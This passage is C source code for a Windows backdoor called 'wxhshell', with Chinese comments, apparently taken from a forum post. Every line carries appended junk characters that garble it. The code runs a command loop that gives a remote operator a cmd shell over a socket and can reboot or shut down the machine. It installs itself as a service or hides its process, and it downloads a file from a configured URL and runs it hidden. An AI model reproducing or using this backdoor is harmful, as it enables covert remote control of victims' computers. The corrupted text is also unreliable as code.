  case '?': { TTa$wiW7'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HKL/ D  
    break; efr9  
  } Rtu"#XcBw+  
  // 安装 /S{U|GBB%r  
  case 'i': { 6& (bL<8b  
    if(Install()) dAWB.#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KS'n$  
    else ;FGS(.mjlC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^GpLl   
    break; de/oK c  
    } DaS~bweMw  
  // 卸载 f\;w(_  
  case 'r': { 29AE B  
    if(Uninstall()) 2$OV`qy@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wrQ0 2?  
    else :5sjF:@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#k@R'7E  
    break; \ 5.nr*5  
    } x2,;ar\D  
  // 显示 wxhshell 所在路径 h2-v.Tjf  
  case 'p': { }_Ci3|G>%D  
    char svExeFile[MAX_PATH]; 7qSnP 30}  
    strcpy(svExeFile,"\n\r"); Sse%~:FL  
      strcat(svExeFile,ExeFile); 7@&mGUALO  
        send(wsh,svExeFile,strlen(svExeFile),0); 9^u}~e #(  
    break; E~@&&d U8  
    } ' 7Mz]@  
  // 重启 sYhHh$mwA  
  case 'b': { GbC@ |  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BG6.,'~7o  
    if(Boot(REBOOT)) P{L S +.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 g\O/oz  
    else { *knN?`(x  
    closesocket(wsh); hg %iv%1B'  
    ExitThread(0); 8J#xB  
    } 0&u=(;Dr\  
    break; j8oX9 Yo0=  
    } ;Fo7 -kK  
  // 关机 Yy~xNj5OS  
  case 'd': { ?W_8 X2(`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S{RRlR6Z  
    if(Boot(SHUTDOWN)) ,.kmUd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QOX'ZAB`  
    else { <&^[?FdAa  
    closesocket(wsh); Im?/#tX  
    ExitThread(0); k8\ KCKql  
    } PR/>E60H  
    break; '>ASr]Q  
    } (*M0'5  
  // 获取shell |}2/:f#Iz*  
  case 's': { 2D(sA  
    CmdShell(wsh); >/Gw)K}#E  
    closesocket(wsh); b# Dd  
    ExitThread(0); tPa( H;  
    break; ScjeAC)  
  } ow  
  // 退出 [p' A?-  
  case 'x': { 9@ 4]t6h[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *s#6e}  
    CloseIt(wsh); k`o8(zPb  
    break; TMD\=8Na  
    } ;HBKOe_3  
  // 离开 _M&n~ r  
  case 'q': { |)v}\-\ #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wy\^}  
    closesocket(wsh); ]#[4eaCg  
    WSACleanup(); qRgFVX+vc  
    exit(1); o~9sO=-O  
    break; =`*@OJHH  
        } >0[:uu,'>  
  } ,cxe"U  
  } giH#t< )W  
Zn0a)VH%  
  // 提示信息 r;)31Tg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #eN2{G=4+  
} e|W;(@$<  
  } H0 Z o.Np  
!vSq?!y6*P  
  return; tAo$; |  
} HY eCq9S  
} xA@3RT  
// shell模块句柄 s FJ:09L|  
int CmdShell(SOCKET sock) *- ~GVe  
{ Niu |M@  
STARTUPINFO si; N p*T[J  
ZeroMemory(&si,sizeof(si)); vz#-uw,O:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .%dGSDru  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pacD7'1{  
PROCESS_INFORMATION ProcessInfo; Pr>05lg  
char cmdline[]="cmd"; =f H5 r_n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BeLqk3'/  
  return 0; bI3GI:hp  
} i#^YQCy  
GLESngAl  
// 自身启动模式 K2e68GU  
int StartFromService(void) ]'7Au]Us`  
{ ~ES%=if~Y  
typedef struct 3=o4ncg(  
{ E24SD'|)  
  DWORD ExitStatus; pouXt-%2X  
  DWORD PebBaseAddress; q.<)0nk  
  DWORD AffinityMask; /P-#y@I  
  DWORD BasePriority; 9D &vxKE  
  ULONG UniqueProcessId; *5 9|  
  ULONG InheritedFromUniqueProcessId;  r73W. &  
}   PROCESS_BASIC_INFORMATION; l*]hUPJ  
_;0RW  
PROCNTQSIP NtQueryInformationProcess; CS(XN>N  
+}1zw<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mI{Fs|9h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JWaWOk(t=?  
'^C *%"I]  
  HANDLE             hProcess;  Qe7=6<  
  PROCESS_BASIC_INFORMATION pbi; mR1b.$  
?9O#b1f N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %WKBd \O  
  if(NULL == hInst ) return 0; y$bY 8L  
Q"U%]2@=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,C"6@/:l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X`EVjK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &o7PB` (l  
XN6$TNsD$  
  if (!NtQueryInformationProcess) return 0; qy.$5-e:[9  
]P#W\LZp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MRXw)NAw  
  if(!hProcess) return 0; p-_9I7?  
i$p2am8f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !hM`Oe`S  
` L 1+j  
  CloseHandle(hProcess); $Zo|t a^  
+6l#hO7h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [<{r~YFjWW  
if(hProcess==NULL) return 0; 9B;WjXSe  
/n(0w`   
HMODULE hMod; -0 <vmU  
char procName[255]; u-y?i`  
unsigned long cbNeeded; %*!6R:gAp  
fCN+9!ljG`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Al6%RFt  
)=()  
  CloseHandle(hProcess); {4A,&pR  
62,dFM7  
if(strstr(procName,"services")) return 1; // 以服务启动 RCYv2=m>Q  
spm)X-[1  
  return 0; // 注册表启动 9 Xl#$d5  
} IO9|o!&>  
Xe_djy'8  
// 主模块 GVA%iE.  
int StartWxhshell(LPSTR lpCmdLine) !~%DR~^`  
{ T(Q ~b  
  SOCKET wsl; 4G' E< ab  
BOOL val=TRUE; 8rS;}Bt  
  int port=0; F)X`CG ;t  
  struct sockaddr_in door; ~+0IFJ`}  
*S.FM.r  
  if(wscfg.ws_autoins) Install(); &v*4AZ['  
M&hNkJK*G  
port=atoi(lpCmdLine); K-\wx5#l/  
<`=Kt[_BQ  
if(port<=0) port=wscfg.ws_port; 1Dc6v57  
ebJTrh<{  
  WSADATA data; gsEcvkj*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4t }wMOR  
hx;kNcPbI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   { V(~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q>+rjN;  
  door.sin_family = AF_INET; ^yc8is'`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "&f|<g5  
  door.sin_port = htons(port); kO*\JaD  
Or?c21un  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dL+yd0 b*  
closesocket(wsl); J|^XD<Y  
return 1; T-ST M"~%  
} L>1y[ Q  
2*O# m  
  if(listen(wsl,2) == INVALID_SOCKET) { cMT:Ij];  
closesocket(wsl); `W@jo~ y<  
return 1; ;qUB[Kw  
} 4XVwi<)  
  Wxhshell(wsl); fgj$ u  
  WSACleanup(); Ad-5Zn c5  
/%,aX [  
return 0; Zazs".  
sUc[!S:/  
} nt()UC`5  
`W+-0F@Y?@  
// 以NT服务方式启动 . 70=xH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d`flYNg4  
{ /Ta-3Eh!  
DWORD   status = 0; 4[kyzz x  
  DWORD   specificError = 0xfffffff; LprGsqr:  
%B#T"=Cx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hO3 q|SL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H{N},B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mejNa(D ^  
  serviceStatus.dwWin32ExitCode     = 0; A_E2v{*n  
  serviceStatus.dwServiceSpecificExitCode = 0; O:rf DO  
  serviceStatus.dwCheckPoint       = 0; dr&G>  
  serviceStatus.dwWaitHint       = 0; P`Now7! GW  
cU ?F D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <N~9=g3  
  if (hServiceStatusHandle==0) return; y5aPs z  
u0=&_Q(=  
status = GetLastError(); d6[' [dG  
  if (status!=NO_ERROR) #*y.C[^5{  
{ _e>N3fT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S~fP$L5  
    serviceStatus.dwCheckPoint       = 0; D~i5E9s5  
    serviceStatus.dwWaitHint       = 0; k+"7hf=C|  
    serviceStatus.dwWin32ExitCode     = status; j<BRaT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1##@'L|u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DOFW"SpE  
    return; sk 8DW  
  } .nVY" C&  
k%Tp9x$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I9xu3izAmR  
  serviceStatus.dwCheckPoint       = 0; u$5.GmKm  
  serviceStatus.dwWaitHint       = 0; $vO<v<I'Gb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  Rm)hgmZ  
} +'93%/:  
&XI9%h9|  
// 处理NT服务事件,比如:启动、停止 80g}<Lwc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t$VRNZ`dy  
{ C}3a  ^j  
switch(fdwControl) Ho*B<#&(A|  
{ <zTz/Hk`  
case SERVICE_CONTROL_STOP: )[ UYCx'  
  serviceStatus.dwWin32ExitCode = 0; [hot,\+f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; II _CT=  
  serviceStatus.dwCheckPoint   = 0; @Z#h?:  
  serviceStatus.dwWaitHint     = 0; pnx^a}|px  
  { . bUmT!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "x;FE<I  
  }  %rlqq*  
  return; V,c^Vq y  
case SERVICE_CONTROL_PAUSE: FwB xag:u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EFI!b60mc  
  break; 1/ j >|  
case SERVICE_CONTROL_CONTINUE: d { P$}b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OKau3T]  
  break; Wql=PqF  
case SERVICE_CONTROL_INTERROGATE: AEWrrE  
  break; |=VWE>g  
}; jG& 8`*|*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,+OVRc  
} :wRfk*Ly  
T:K}mLSg  
// 标准应用程序主函数 `\ IaeMvo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wfu`(4  
{ XrMw$_0)  
KkzG#'I1  
// 获取操作系统版本 ^j pQfDe6  
OsIsNt=GetOsVer(); ER&\2,fZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x+%> 2qgj"  
6kR3[]:16v  
  // 从命令行安装 YaQ5Z-c  
  if(strpbrk(lpCmdLine,"iI")) Install(); OU]"uV<(  
kDRxu!/  
  // 下载执行文件 %Y#W#G  
if(wscfg.ws_downexe) { -cn`D2RP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B2_fCSlg  
  WinExec(wscfg.ws_filenam,SW_HIDE); L9,GUtK{  
} I`g&>  
tOk=m'aUK  
if(!OsIsNt) { r~,3  
// 如果时win9x,隐藏进程并且设置为注册表启动 0/z$W.!  
HideProc(); +Qzl-eN/+  
StartWxhshell(lpCmdLine); mdmJne.  
} 4pcIH5)z  
else Ho&f[T(  
  if(StartFromService()) )N3/;U;  
  // 以服务方式启动 ,PKUgL}w  
  StartServiceCtrlDispatcher(DispatchTable); %|R]nB  
else wF6a*b@v  
  // 普通方式启动 n1R{[\ >1  
  StartWxhshell(lpCmdLine); $kR%G{j 4  
&g*1If  
return 0; jzi^ OI7  
}
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只看该作者 1 发表于: 2006-10-10
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